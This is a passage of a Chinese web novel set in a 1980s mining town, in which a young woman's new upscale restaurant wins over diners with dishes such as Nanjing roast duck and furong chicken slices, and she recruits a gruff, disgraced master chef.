损友一号奇道:“你从哪儿找出这么家饭店的?我还是头一回见啊。” 损友二号对矿务局熟,看看建筑,想起之前听说的事。 “你怎么把我们领到皮包公司了?这年头,皮包公司的名字起得一个比一个大,还乌金年代,我还黄金时代呢。” 张向党掀开门帘,率先走了进去,扔下一句: “什么皮包公司,这是新开的饭店!你们这帮没见识的。” 这话激起损友们的好胜心,论吃喝玩乐,全矿务局有几个人能比他们更懂行? 现在居然有他们不知道的新饭店,这可让人好奇极了。 一行人你推我挤地走进了饭店,甫一进门,就被一股温暖的热浪扑到脸上。 室外滴水成冰,室内却温暖如春,不多时,在寒风中冻僵的手脚热了起来。 有服务员走上前来,一张喜庆的笑脸,轻声细语地问道:“您几位,有预订吗?” 张向党报上自己的大名,服务员立刻了然,将一行人带向店内。 损友们跟在服务员身后,好奇地打量着这家新饭店的内部布置。 饭店场地开阔,宽裕地摆了十几张圆桌,彼此间用木格屏风隔开,既雅致,又隐蔽。明明是身处同一空间,却有种独立包厢的感觉。 店内装修简单大气,没有雕梁画栋,也没有精美装饰,四面白墙上画着巨幅的水墨,有小桥流水,也有大漠孤烟,意境渺然,独一份的风雅。 这帮开侉子的粗人一时都忍不住放轻了动作。 店内来吃饭的人不少,将大圆桌坐得七七八八,看起饭店生意相当不错。 服务员将张向党一行人带到位置上,等众人落座后,笑着对张向党说: “我们店长知道您要来,特地嘱咐后厨给您先上菜,还说要厨师长亲自掌勺,一定要招待好您。” 这话说得张向党太有面子了,店长亲自嘱咐,厨师长下厨做菜,简直是这家店的超级贵宾。 损友们纷纷打趣道: “向党你出息了啊!” “你怎么认识店长的?你这待遇有点太好了啊!” “哎哟,怪不得非要带我们来这家新店吃饭,合着是有内部关系啊!” 张向党昂着下巴,故作谦虚:“还好,还好,也没那么厉害,就是认识饭店老板而已。” 损友们好奇:“这家店的老板是谁?我怎么头一次听说矿务局开了家‘乌金年代’?” 张向党吊了一会儿众人胃口,才慢悠悠道: “说来也不是什么稀罕事,只不顾我这个人好交朋友,认识的人比较多,人脉广而已……” 这小子又在吹牛,众人皆嘘。 “不知道就不知道,还人脉广。说起来我在矿务局认识的人也不比人少,你倒是说说,我就不信不认识。” 张向党说:“煤矿人家知道吗?煤矿人家的老板知道吗?” 损友反应快,立刻就问:“这两家是一个老板?” 又有人想起来:“就是那个抓通缉犯的老板?!” 张向党点点头:“说对了,就是她,贺明珠贺老板。” 某个损友听着耳熟,但一时想不起来,直到看到手上的电子表,忽然问道: “这个贺明珠和贺明军是什么关系?” 张向党鄙视道:“这你都不知道,人家是亲兄妹。” 其他人恍然道:“原来是之前卖手表的那个小年轻的妹妹啊!真没想到,这贺家孩子居然这么能折腾,又是倒腾手表,又是开饭店,还抓了个通缉犯。你说说,这家人还有什么干不出的?” 这话张向党可不爱听。 “瞎说什么,什么叫折腾,这分明是人家能干,有本事。” 损友们不怀好意地打趣:“贺明珠……一听就是姑娘名字,你是不是看上人家了?不然好端端的,你怎么和做生意的个体户掺和在一起?” 张向党涨红了脸,嚷嚷道:“你们胡说什么,你们这帮人,思想实在太肮脏了!” 损友们嘿嘿笑:“你都做得出来,还怕我们说不成?怪不得突然要请我们来饭店吃饭,原来打人家老板的主意啊~” 张向党急得耳朵都红了,说得乱七八糟,一时是“带你们来新店开荤,好心当成驴肝肺”,一时又是“这店的菜做得绝了,不吃是你们的遗憾”。 损友们只顾笑,谁也没拿他说的话当回事。 正闹着呢,服务员端着盘子来上菜了。 这帮子弟都是吃过见过的,去国营饭店就像去食堂,什么好吃的没尝过。 再加上这年头没有动物保护法,飞龙、熊掌、猴头都能拿来下菜,他们跟着长辈,什么稀奇古怪的玩意儿都吃过。 因此,虽然这家新开的饭店看着有点意思,但对于店里的饭菜,他们还真没 当回事儿。 一群人聊得开心,也不讲究什么餐桌礼仪了,随便拿筷子就去夹,也不论夹到什么,直接往嘴里塞,吃着东西还不忘说话。 可当菜真吃到嘴里,渐渐地,桌上说话的声音低了下去。 这是什么东西?吃起来好像还挺香的…… 有人开始正视桌上的菜。 “服务员,这是什么菜?” 不远处待命的服务员应声走过来,看看他筷子指着的盘子,答道:“这道菜是核桃腰。” 核桃,腰? 损友们没听说过这个菜名,一时好奇起来,纷纷追问: “什么叫核桃腰?” “核桃炒腰花?” “不对吧,核桃能和腰花一起吃?” “盘子里哪有核桃?这不都是腰花吗?” “去去去,谁教你拿筷子翻盘子的,你这一搅和,我们还怎么吃?” “别吵了,先听服务员怎么说。” 面对七嘴八舌的问题,服务员耐心地说:“核桃腰不是核桃炒腰花,里面没有放核桃。之所以起这个名,是因为炒好的腰花吃起来软中带硬,口中有嚼核桃的感觉,因此取名为核桃腰。” 听了服务员的话,有人拿筷子夹起一片腰花,先仔细查看,再送入口中细细品尝。 和通常饭店将腰花改花刀的做法不同,这道菜的厨师将腰子切得厚实,表面略划纵横刀纹,下锅油炸后,捞出撒花椒盐。 这一盘核桃腰看着色泽诱人,入口后在腰花本身的软嫩中,又奇异地带着微硬口感,仿佛是在吃核桃。 腰花居然能做出如此奇特的口感,还起了更加奇特的“核桃腰”的名字。 这菜稀奇,张向党的损友们将盘中腰花一扫而空。 他们一改此前对新饭店的轻蔑,也不聊天了,开始期待起下一道菜。 第104章 第104章难搞的费大厨 “这家店有意思啊。” 损友一号咂咂嘴,放下筷子,对张向党说道: “你小子还算有点眼光,挑的饭店不错,菜做得还算可以,和国营饭店的大师傅比起来也差不了多少了。” 张向党“嘁”了一声,问他:“你丫是不是从没去过煤矿人家吃饭?” 损友一号没否认,说:“工人吃饭的地方,我去干嘛?都是煤灰,可别弄脏了我的新皮夹克。” 张向党翻个白眼,鄙视道:“就你爱干净,恨不能拿消毒水当水喝,煤灰拍拍不就好了。我可告诉你,煤矿人家的厨子和这家店的是一个人,你小子没口福啊。” 损友二号听了就说:“我去过煤矿人家,好吃归好吃,但和刚刚那道核桃腰完全没得比,都是些普通菜,也没多稀奇。” 张向党哑然,反问他:“吃个饭而已,你还想要多有多稀奇?” 损友二号说:“当然得是去其他饭店尝不到的稀奇,不然我没事跑矿上干嘛,还不够折腾的。” 损友三号笑道:“就你事儿多,人家饭店本来就是为矿工开的,当然要符合矿工的口味,难不成还能为了你单列一本菜单?” 几个人你一言我一语,损友一号瞅了个空子,连忙插了一嘴: “听这意思,你们都去过煤矿人家?” 张向党得意地笑:“那是当然!我们可都是煤矿人家的老顾客了。” 损友一号有种被排挤的委屈感,不高兴道:“你们怎么都不叫我?” 合着这一帮人出去吃饭不带他,大家还是不是兄弟了?! 见他脸色不对,张向党叫屈:“谁说没叫你?我喊了你好几次上矿去吃饭,你自己不肯去,我总不能把你捆过去吧?” 损友一号有点尴尬。 好像……似乎……确实……有这事。 之前张向党组局,喊他来矿上吃饭,他嫌矿上采煤污染重,去一趟后雪白衣领都会变脏,说什么都不肯去。 现在追究人家排挤他的责任,好像是有那么一点理亏…… 损友三号笑着打圆场:“行了,没去就没去,反正这家店从矿上搬下来了,以后我们随时都能来。这次向党请客,下次你来。大伙儿轮番请一圈,正好把店里的菜都吃一遍。” 损友一号脸色好转,大方道:“也别下次了,这回算我的,你们谁也别和我抢!” 张向党嚷嚷着:“听到没?有人说要请客,大家伙儿可都别客气,狠狠宰他丫的!服务员!把你们这儿最贵的菜都给我端上来——” 一桌子人重又说笑起来,正热闹时,服务员端着盘子过来了。 “南京烤鸭,各位慢用~” 众人闻声朝盘中看去,只见雪白瓷盘上盛放着斩成小块的烤鸭,外皮金黄油亮,色泽诱人,表面浇了一层酱红色的卤汁,更添一分食欲。 损友一号奇道:“这烤鸭看起来有点意思啊……” 其他人附和道:“确实,还挺新奇的,没见过这样吃的烤鸭。” 乌城离北京不远,两地间人员、信息流动频繁,大名鼎鼎的北京烤鸭时常出现在乌城人的宴席上,每一个乌城人对此都不陌生。 然而,这道“南京烤鸭”却和他们常吃的北京烤鸭看起来完全不一样,烤好的鸭子被斩成了块,而不是切成薄片。 同时,烤鸭上菜时,旁边没有摆放荷叶饼、葱白、黄瓜条、甜面酱等配菜,只有一碟子鸭舌,以及一摞撒着白芝麻的酥饼。 张向党招呼道:“来来来,别看了,都尝尝。” 因为不知道好吃不好吃,众人各夹一块鸭肉,带着点儿对未知事物的探索,将鸭肉送到口中。 损友一号谨慎地咬下一小块鸭肉,还没吃出滋味,舌尖先尝到一点鲜甜。 他有些惊讶地瞪大了眼睛。 这个味道…… 虽然是从未尝过的滋味,但却意外的好吃,让人放下防心,忍不住吃得多一些,再多一些。 鸭皮薄而韧,鸭肉嫩滑多汁,最惊艳的是浇在鸭肉上的卤汁,咸鲜回甜,让人回味无穷。 损友一号吃完烤鸭,意犹未尽,看到一旁的鸭舌,便顺手夹了一块。 鸭舌只有小小一条,是烤鸭的副产品,尽管外形看起来有些奇怪,历经火烤依然柔韧滑腻。 一口咬下去,既能品尝到软骨的弹牙,又能吃到饱满的肉质,这鸭舌长得也太懂事了。 一群年轻力壮的大小伙同时下筷,不多时,一盘烤鸭就被吃得干干净净,连一旁的鸭舌也只剩下一个空碟子。 损友三号拿起手巾,擦擦嘴边沾上的卤汁,说: “听说北京烤鸭就是从南京传过来的,不过现在看来,两地烤鸭也不一样,各有风味啊。” 损友一号吃得高兴,夸了一句: “这饭店厨师手艺不错嘛,烤鸭做得一点腥味都没有,吃起来也不塞牙,我算是明白了,怪不得你们忍着脏也要往一矿跑。” 张向党小声哔哔:“这说的,好像一矿有多脏似的……” 损友二号看中了盘中的酥饼,虽然有些奇怪为什么要烤鸭要搭厚重酥饼、而不是薄薄的荷叶饼,他还是毫不犹豫地伸手抓了一块。 “吃啊,你们怎么不吃?” 他一口下去就咬掉半块酥饼,饼渣和芝麻簌簌落在身上。 “唔,是鸭油做的!” 听到他的话,其他人也纷纷去拿鸭油酥饼。 鸭油和进面粉,饼酥而脆,吃起来满口鸭香,让人吃得停不下来。 损友一号没想到这饼居然会这么酥脆,随着他的动作,饼上的芝麻粒不住落在他的前襟,他不得不狼狈地伸着脖子,避免更多的渣子落在身上。 可即便如此,他还是吃得停不下来,一边吃一边喷着饼渣说: “下次再有这种好吃的,就算是垃圾场开店,你们也得叫上我!” 前厅的客人们吃得不亦乐乎,后厨的大厨则不甚满意。 “这鸭子不行,都六斤了,吃得又肥又呆,怎么能拿来做烤鸭?” 头发花白的中年男人翘脚坐在椅子上,对着大盆中泡血水的鸭子指指点点。 “小贺,你们怎么选的食材?一点讲究都没有,还能开饭店喏?” 贺明军满头大汗地抄着铲子,赶着要将锅中小炒做好,尽快端到客人桌上。 “小贺,你有没有听我说话?这烤鸭要选四斤上下的大鸭,洁白肥壮,没有多余脂肪,要不然肥腻腻的谁要吃?你就是不拿做菜当回事,这选鸭子的事怎么能让徐和平来,他一个服务员懂什么?” 菜了出锅,贺明军将盘子递到新来的服务员手上。 在准备下一道菜的间隙中,他终于抬头,对喋喋不休的中年男人说道: “费师傅,您要不过来帮忙,要不就安静坐着。虽然明珠说要对您多尊重些,可您要是继续说风凉话,我也只好按我的方式来解决了。” 他冷着脸,眉毛压得低低的,看起 来很不好惹。 费立广嘿嘿一笑,从椅子上站起来,觍着脸凑过来,看看服务员送过来的点菜单子。 “哦哟,下一道菜是芙蓉鸡片。小贺,你会做吗?” 贺明军冷冷一记眼刀砍过去,费立广似乎才想起来。 “差点忘了,你也算厨师,你妹妹应该教过你这道菜,瞧我这记性,嘿嘿……不过芙蓉鸡片可是道考验手艺的菜,你能做得好吗?” 贺明军用力闭上眼睛,额头上根根青筋爆出来。 就在他发火之前,徐和平拿着新客的点菜单子进了后厨。 他敏锐地发觉两个厨子间气氛不对,急忙找了个借口,要把贺明军拉出去。 “正找你呢,今天张向党带着人来了,这帮人拉着我不放,非要见识见识大厨,走,你跟我过去。” 贺明军甩开他的手,冷声道:“他们要见识的是大厨,你不该找我,那边不正站着位大厨吗?” 费立广像是没听着,哼着小曲准备芙蓉鸡片的材料。 徐和平连忙找补:“嗨,你也知道,咱们店里就你和张向党他们熟,我还真搞不定这帮子弟。走走走,算帮我个忙。” 他半强迫地把贺明军拉出了后厨,见左右无人,才说:“你和费老头生什么气,他就那个脾气,要不然能来我们店?” 费立广是贺明珠给三店找来的大厨。 由于三店的定位和前两家店完全不同,走的是高端大气上档次的路线 ——虽然现在资金有限,店内装修时只能打着“雅致”旗号,干着节省装潢的勾当,墙上刷大白画水墨,用做桌椅剩下的木头拼拼凑凑出几幅木格屏风。 装修上还能凑乎,但食物不能,味道决定饭店的生死存亡。 然而,除了贺明珠,三家饭店都没有真正意义上能够镇场子、撑场面的大厨。 贺明军是贺明珠把着手教出来的速成厨师,冯解放、曹全安则是做惯了大锅菜的食堂老厨子。 如果按满分制来对厨艺打分的话,家庭煮妇/夫是三十分,小摊小贩是五十分,食堂厨师是六十分,国营饭店的厨师是七十分。 贺明珠需要的是在厨艺一项能达到九十分,真正的大厨。 普通厨师多的是,但大厨是万里挑一的宝贵人才,在任何一家饭店都是压舱石的存在。 如果贺明珠从国营饭店挖普通厨师,许以高薪厚禄,或许还有希望;但挖角大厨,那几乎是不可能发生的事。 贺明珠也很清楚这一点,因此,她的目标并没有放在国营饭店的在职大厨,而是瞄向了被主流忽视的弃子。 也就是费立广。 费立广祖上是开酒楼的,曾在本地名噪一时,接待过西狩的太后,也迎接过叛乱的军阀,还为占领乌城的侵略者摆过宴席。 因此,在运动中,费立广一家被打成“黑五类”,某种程度上来说,也不算太冤枉。 但对于费立广本人而言,就是一场彻头彻尾的悲剧了。 他前脚还在跟着红小将抄别人家,后脚自己家就被抄了。给慈禧做过饭的爷爷、为军阀烧过菜的父亲,以及替日本人摆过席的叔叔,都被挂上牌子游街示众。 原本作为国营饭店一颗闪闪升起的新星,费立广则被开除出店。 历经十年风波,当运动结束、一切重回正轨时,费立广已经变成了一个脾气古怪的中年人,未婚未育,人憎狗厌。 贺明珠找到他时,费立广正跳着脚和邻居吵架。 “你家才是一窝狗崽子!你才从里到外都是黑的!你才要被打翻在地,再踏上一万只脚!” 费立广住着窝棚,全身上下邋里邋遢,看人时用眼睛斜视,不说话时也是一副欠打的模样。 听完贺明珠的来意,他抠抠鼻子,顺手往墙上一抹,混不吝地说: “去你们饭店上班对我有什么好处?钱都被你们这帮资本家挣完了,凭什么让我去替你家干苦力?小姑娘年纪不大,想得还挺美的。” 贺明珠不是第一个来找他的人。 费立广家学渊源,是乌城出了名的厨师世家。他们家的孩子还不会走路,就学着尝百味,一条舌头灵得很,沾沾嘴唇就知道这菜用了什么材料。 建国后公私合营,费立广的爷爷是老滑头,积极响应政策,开办烹饪班,不限学生,将毕生所学都传授出去。 现在乌城的国营饭店里,上了年纪的厨师都曾上过费家的烹饪课。 光是学了一点皮毛,就能撑得起一家店的场面,要是学到费家的真传,那还不得在乌城横着走啊。 因此,不少人饭店想将费立广招至麾下,但都碰了一鼻子灰。 费立广性子恶劣,看人不顺眼时,连说话的机会都不给人家,自顾自地把窝棚的门一关,任由外面的人说得口干舌燥,他在里面呼呼大睡。 也有人找到费家的故交,想让人帮忙说合。 没想到见了人,费立广不发一言回屋,接着便是一盆洗脚水泼过来。 “当年我家落难的时候你在哪儿?我快饿死了,讨饭讨到你家门前,你连一个窝窝头都不给我,这会儿说什么故交,我家和你家有个屁的交情!” 这家伙软硬不吃,时间长了,人们渐渐熄了请他出山的念头,只当费立广是要烂死在窝棚里。 这次贺明珠上门来请,费立广掀掀眼皮,难得看到一个长得顺眼的小姑娘,有了三分耐心,劝她早点放弃。 当然,他的话没那么好听。 “你谁家的小孩?让你家大人来,妈的,最烦这种让孩子出面的,怎么着,老子看起来像是不会骂小孩的?你赶紧走,别等我发火!” 贺明珠却不走,反而问道: “您是不想再进厨房吗?还是说,您不敢进厨房呢?” 费立广一怔,下一秒,他将碗里的烂面条汤泼到贺明珠脚边。 “滚滚滚,瞎**说什么!你懂个屁!小心老子收拾你!” 贺明珠并不生气,反而上前一步。 “过去已经结束了,但你还活着。你死也不是不行,但你死之前是想用自家厨艺陪葬吗?费家历代苦心钻研的厨艺,你真的决定要断送在你手上吗?” 费立广是真的有些生气了。 “你走不走,再不走我就不客气了!” 贺明珠见好就收,向后退了一步。 “费师傅,当您闭上眼睛时,费家的先人在看着你吗?” 她的话像是一把针,密密麻麻插在了费立广的心上,让他哆嗦着嘴唇,连话都说不出来。 贺明珠最后说了一句:“等您想好了,我还会再来的。” 她走得干脆,费立广却睡不着了。 窝棚里昏暗的灯泡夜夜亮着,直到天明。 当贺明珠再来时,费立广脸上挂着两个巨大的黑眼圈,眼睛里全是红血丝,看起来多夜未睡。 贺明珠轻快道:“费师傅,您想的怎么样了?” 费立广面无表情:“滚!” 贺明珠笑眯眯地说:“看来上次我说的话还是有用,要不然您就该拿扫帚赶我了。” 她不说则已,一说反倒提醒了费立广。 家里没扫帚,费立广从窝棚顶上抽了一根发朽的腐木,作势要拿木头抽打贺明珠。 “滚,赶紧滚!别来找我!” 贺明珠像一头灵活的小鹿,步履轻快,毫不费力地避开了他手上的木头。 “费师傅,别这样,太假了,显得你很心虚啊——” 半天没打到人,费立广气喘吁吁地放下木头,却听到贺明珠惊讶道: “欸,这就没力气了?费师傅,我开始怀疑请你出山的意义了,连根小木头都拿不动,你还颠得动铁锅吗?算了算了,我还是走吧,看来这费家也不过如此——” 费立广被气得说不出话来,半响才挤出一句:“谁说我颠不动锅!” 贺明珠马上就说:“我不信,除非您亲自进厨房做道菜给我看看。” 费立广刚想答应,忽然意识到这是激将法,拉着脸,不说话了。 贺 明珠观察片刻,遗憾道:“看来是真不行了。罢了,男人过了三十岁就是豆腐渣,我还是不要浪费时间了。” 费立广咬牙切齿到腮帮子都酸了。 没想到贺明珠还真走了,费立广对着她毫不留恋的背影,差点喊出声。 谁说他是豆腐渣!谁说他颠不动锅!他只是这几天没有休息好而已! 费立广扔了木头,垂头丧气地回了窝棚,正要随手关门时,忽然,门上忽然传来一股反作用力。 费立广不明所以,这时,门缝里挤进来一句话。 “费师傅,你想不想把你们家的酒楼重新开起来啊?” 这是费立广第二次见到贺明珠。 当费立广第三次见到贺明珠时,他正在吃饭。 杂粮面做成黑糊糊的烂面条,下锅一煮就没了形状,黏糊糊地泡在缺把的锅里,看着就没食欲。 他从发霉的坛子里夹出一块抹布条似的咸菜,在面汤里搅了两下,就着这点咸味,将一碗烂面条呼噜噜地倒进嘴里。 连面带汤的吃完,胃里饱足了,舌头还没。 费立广往锅里倒水,涮一涮,把残余的面汤倒进碗里,再配上一条黑黢黢的咸菜,咯吱咯吱嚼着吃了,像是舌头鼻子同时失灵。 但显然,他的味觉和嗅觉都在。 四面漏风的窝棚,一股咸津津的烧鸡香气顺着缝隙挤进来,直往人鼻子里钻。 费立广下意识地抽动了两下鼻子,苛刻地给出“也就一般”的评价,但口中已经诚实地开始分泌唾液。 窝棚的破门被人礼貌地敲响。 “费师傅您在家吗?请您品鉴一下我自制的烧鸡。” 是贺明珠的声音。 费立广从鼻子里哼出一声,什么品鉴,不就是变着法子请他出山吗? 哼,他才不上当! “费师傅,我还带了酒,农村自酿的高粱酒,度数高,入口辣得很,您尝尝这酒适不适合配着烧鸡一起吃?” 费立广以一种自以为很慢、实际迫不及待的速度站起了身,三步并作两步来到门前,顿了顿,矜持了一下,缓缓打开门。 “今天我心情好,就帮你尝尝味儿吧——酒呢?” 一手烧鸡一手酒,面前还摆着几只冒着热气的雪白馒头。 费立广从含蓄的“我就尝尝”,到据案大嚼,前后只花了不到三分钟。 烧鸡是贺明珠亲手做的,用的是郝家村的小公鸡,半大不小,肉质细嫩,看着焦黄油亮,吃起来咸香扑鼻。 费立广一边撕扯鸡大腿上的肉,一边含糊不清地说: “酱油放多了,再少一点就更香了!鸡肉倒是还行,你年纪小,还挺会挑的……馒头发酵时间太长,有点酸,下次记得早一点……” 贺明珠只笑眯眯地听着,也不反驳。 等费立广吃完了,她才说:“费师傅,来我们店呗,您想做什么菜就做什么菜,我不插手,后厨的事都归您管。” 费立广吃得一脸油光,听了她的话,一时想拒绝,一时又想同意,脸上表情变幻不定。 贺明珠加了码,伸出三根手指头,说: “您来店里,除了每个月的工资以外,再给您三成股份。” 这条件优厚极了,要知道之前招揽费立广的饭店是宁愿给他每月开两三百块的工资,也不会给他一分钱的股份。 费立广可耻地心动了。 “你说的,后厨的事都归我管?” 贺明珠说:“对,后厨您说了算。” 费立广垂着头,也不知在想什么,最后一拍桌子。 “行,我干了,不过你们饭店的股份我不要,我替你干五年,五年后你得替我把费家酒楼开起来。” 贺明珠也干脆:“行,以五年为期,五年后如果我没能实现承诺,我的饭店就归您,您可以把饭店改名为费家酒楼。” 费立广从窝棚里翻出纸笔,两人认认真真地在皱巴巴纸上写下关于五年的约定,签了名,又摁了指印。 一式两份的合同,费立广仔细收好他那一份,这才想起来问贺明珠: “你们家饭店叫什么名?” 贺明珠卡壳了:“呃……新开的店,还没起名呢。” 费立广:…… 费立广开始思考现在毁约有没有可行性。 费立广:“你是在驴我吧?是不是你压根就没开饭店啊?怎么会有饭店没有名字呢?!” 贺明珠狡黠一笑,说:“我想到了,就叫乌金年代吧。” 专属于八十年代煤矿的,乌金年代。 第105章 第105章芙蓉鸡片与可塑之才…… “小贺,过来,我教你个菜,学着点,芙蓉鸡片可是这么做的。” 费立广伸手招呼贺明军,像招呼小狗,勾勾手指头,让他过来打下手。 贺明军冷冷看他一眼,站在原地不动。 费立广夸张地叹口气:“哦哟哦哟,现在小年轻可了不得了,师傅教做菜都不来,想当年我家酒楼的学徒想学做菜,还要先给师傅端茶洗脚倒尿壶,真是一代不如一代喽……你真不过来,那这菜我可就不做了啊,等会儿看你们怎么和客人交代……” 贺明军只当他在放屁,自顾自走到案板前,从今天现杀的小公鸡上割下一片鸡胸肉。 他熟练的握着菜刀,冲掉血水,剔掉鸡胸肉上的筋膜,正要将鸡胸肉细细切成鸡茸时,耳边传来费立广大呼小叫的声音。 “哎呀,你这是和谁学的厨,怎么能拿菜刀切?这不把铁锈气都渗到肉里了?” 贺明军手上动作顿了顿,只当没听到,要继续将鸡胸肉切成小块。 费立广挤上前来,动作敏捷地抽走案板上的肉,让贺明军手上的刀挥了个空。 “啧啧啧,好端端一块肉,差点被你毁了,我可看不得浪费啊……” 贺明军额头上的青筋再次一根根爆出来。 “当”的一声,刀头被深深地剁进木头案板里。 贺明军一字一顿地说:“要么你做,要么闭嘴,再多话就别怪我不尊老。” 见他真生气了,费立广见好就收,笑呵呵拔起菜刀。 “年轻人就是火气大,说两句都不行。得了得了,我不和你计较,边儿呆着去,你费大爷给你表演个什么叫正宗芙蓉鸡片。” 费立广挤开贺明军,自己站到案板前,将鸡胸肉平平放下。 接着,他一转手上的菜刀,从刀背向上转为刀锋向上。 “看好了,这芙蓉鸡片的肉是这么切的——” 一开始做菜,费立广脸上神色一肃,像是壳子里换了个人。 他握着菜刀,用刀背剁肉,手臂猛然发力,动作快而稳定,不多时,一整块的鸡胸肉就被剁成了柔软而连绵的肉泥。 费立广手腕一翻,刀尖挑出肉泥中残留的筋膜。 几下工夫,原本还掺杂着白膜的肉泥变成了匀净而无一丝杂色的浅淡橙红。 这一套操作说起来不难,但却要仅凭腕力便要将鸡胸肉剁碎成泥,还不能切断其中筋膜,对厨师功底的要求颇高。 一把刀,一张案板,一块鸡胸肉。 费立广像是交响乐团的指挥大师,在他的指挥下,切肉也有种富有节奏的美感。 贺明军虽然 挺嫌弃费老头,为老不尊,口无遮拦,但此时也忍不住专心地看,心中一遍又一遍地揣摩他的手法。 剁好了鸡茸,费立广取了几颗鸡蛋,单手打蛋,将蛋清倒进碗中备用,完整的蛋黄放在一旁。 蛋清少量多次地加入鸡茸,在不使蛋清打发的情况下,将二者均匀地搅在一起,直到融为一体。 锅中倒油,油温微热时,费立广舀了一勺蛋清鸡茸,平稳地摊进油中。 灶台火小,锅中发出轻微的滋啦声,鸡茸吃油后膨胀起来,变成一片大而薄的白片,缓缓浮在油上,如同一片芙蓉花瓣。 接连几次下锅油炸,直至碗里所有蛋清鸡茸都用光,旁边盘中已经摞起一层白色花瓣。 贺明军看得入神。 他之前也不是没有做过芙蓉鸡片这道菜,但出锅的鸡片要么过厚,边缘已经发焦了,内里还是生的;要么鸡片过薄,下锅就碎,捞出时不成形状。 像费立广这样恰到好处将鸡片炸得薄而不碎,熟而不焦,并不是件容易事。 这老头子,还是有点本事的…… “嘿,小子,想什么呢?给客人上菜啊!” 忽然传来聒噪,贺明军猛然回神,这才意识到费立广已经完成最后的勾芡收汁,一盘洁白澄澈、上缀绿苗的芙蓉鸡片怼到了他眼前。 “看傻了吧?我告诉你,看在贺老板的份上,打今儿起,你每天给我泡一壶茶,什么时候这茶我喝的满意了,什么时候我就收你做徒弟。怎么样,这比洗脚倒尿壶简单吧?” 做完了才,费立广又变回那个嬉皮笑脸的臭老头。 贺明军闷不做声,端起盘子就走。 “哎哎哎,别走啊,你先说你答不答应——” 把费立广的话甩在身后,贺明军端着盘子走进前厅,找到张向党那一桌,将盘子放下。 “芙蓉鸡片,慢用。” 张向党惊喜道:“明军儿!怎么是你来上菜?” 贺明军挂上一张笑脸,说:“你都带人来吃饭了,我还能蹲在后厨假装不知道?怎么样,吃的还满意吗?” 张向党说:“满意,那可太满意了!” 贺明军:“满意就成,厨房还有事儿,我就不多聊了。” 张向党拉着他不让走,转头对桌上众人介绍: “这是我异父异母的亲兄弟,贺明军,你们喊他明军儿就行。别看年纪不大,他可是饭店的大厨,你们吃的菜都是他做的!” 张向党喊得亲热,损友们都笑起来。 “瞧你那德行,不知道的还以为大厨是你教出来的呢?” 损友一号看着贺明军眼熟,忽然想起来,这不就是卖电子表那哥们吗? “你怎么进饭店当厨师了?我还指望找你再买两块电子表呢,你那表的质量是真不错,比百货商场卖的都好。” 贺明军笑笑说:“这有什么难的,不就是块表吗?你想要的话,我再弄回来几块也不成问题。” 一听这话,其他人来了精神。 “只有电子表吗?录像机有没有?那种美国电影里,手里拎的小录音机有吗?” 贺明军和颜悦色:“有,都有,不管是想买什么,我都能给你们找来。” 不管是什么年代,男人不爱购物都是彻头彻尾的谎言。 一群有钱有闲的子弟们,对着贺明军开始列购物清单,把他们在外国电影电视剧上看到的好东西都列了一个遍。 从油亮亮的方头皮鞋,到垫肩大到夸张的西服,再到大西洋底来的人同款麦克墨镜,无所不爱,购物欲旺盛极了。 正当一伙人七嘴八舌地列购物清单时,损友三号忽然意识到好像有人没说话。 他快速地在桌上扫视一圈,只见张向党正鬼鬼祟祟拿着筷子去夹盘中的芙蓉鸡片。 原本满满当当的一盘菜,在众人没有注意的时候,变成了浅浅一盘底,而且还在不断减少中。 “你小子,居然敢当着大伙儿的面吃独食!” 损友三号一声暴喝,所有人都看过来,紧接着就发现这个惊天噩耗。 “什么?!” “我的菜呢?!” “刚端上来的那盘芙蓉鸡片呢?!” 损友们大惊失色,脸上表情比被暗恋对象拒绝还要惨淡。 “张向党,哥们拿你当兄弟,你拿哥们玩心眼啊!” 张向党涨红了脸,嘴里的鸡片还没咽下去,挣扎着试图申辩: “那、那不是你们都不吃吗?” 等话说出了口,他反而理直气壮起来。 “谁让你们都不吃啊?再不吃菜都凉了,我这是怕浪费好不好?” 损友们对视一眼,开始摩拳擦掌,撸着袖子就朝张向党围了过去。 张向党紧张起来。 “等等,你们这是要干什么?” “不是,哥们,我错了,我真错了……” “救命,啊——” 瞄一眼被围得水泄不通的张向党,贺明军忍笑,默默端走了那盘被吃得七七八八的芙蓉鸡片。 回到后厨,费立广正翘着脚坐在椅子上,自得其乐地哼着小曲。 “哟,回来了,你想清楚没,要不要拜师学艺啊?” 贺明军不搭理他,只当是噪音,随手取了块鸡胸肉放在案板上。 他站在案板前,拿起菜刀,将要下刀时,停顿一下,不熟练地将刀翻转过来,将刀背剁在了鸡胸肉上。 第一刀还带着几分犹疑不定,接着是第二刀,第三刀…… 渐渐的,贺明军的动作越来越熟练,剁肉声有节奏地连成了一片。 不知何时,费立广絮絮叨叨的声音停了。 他半站起身,探头朝贺明军的方向看了一眼,只见冒着小泡的油锅里缓缓浮起一片雪白芙蓉。 费立广重又坐回板凳上。 ——嘿,这小子,还算有点灵气。 继煤矿人家之后,新开的饭店乌金年代在矿务局火了。 这家店开在了矿务局的核心区域,门前是两条人流量最高的主干道,不用怎么宣传,就自发被来来往往的人群关注。 在这个缺乏新鲜消遣的年代,一家新店足以吸引来无数人好奇的目光。 气派的黑底金字牌匾(用掉了贺明珠不少装修预算),宽敞挑高的店内环境(得益于前租户皮包公司砸掉了承重墙以外的墙),简洁雅致的装修风格(为了最大限度节省装潢的钱)。 与八十年代老旧保守、千篇一律的传统饭店相比,这家名叫“乌金年代”的新饭店简直如同一股清流,还未品尝到饭菜味道,先入为主地给客人留下良好印象。 而当第一批勇于吃螃蟹的人进店消费过后,与让人望而却步的高昂价格同时传出的,还有好吃到让人失魂落魄的超级美食。 贵是真的贵,好吃也是真的好吃。 但也正是因为这份昂贵,才更显得美食弥足珍贵,每一片菜每一粒米都让人不舍得浪费,一定要细细品味,将菜中滋味都吃到彻底。 张向党作为第一批吃螃蟹的人,被人问这家店的菜真有这么好吃时,他说: “确实好吃,说到底一分钱一分货,值这个价。” 问的人不信,追问道:“个体户开的店还能比国营饭店好吃?” 张向党一瞪眼睛:“谁说只能国营饭店厨师手艺好?虽然两边价格差不多,但我更乐意去乌金年代,起码吃着不受气。” 一说到吃饭受气,问话的人也没声了。 国营饭店好吃是好吃,可服务员的脾气是真够呛的。 别看他们是花钱的客人,可照样被人家训得跟三孙子似的。 一问菜怎么还没上,先是爱答不理,再催两句,直接就是“爱吃吃,不吃滚,谁稀罕伺候你。” 合着上饭店不是来吃饭,是来找骂了。 张向党还搁这儿添油加醋。 “别看人家是个体户开的饭店,那服务员态度是真好,说话轻声细语,脸上带着笑,让人看着都心情好。” 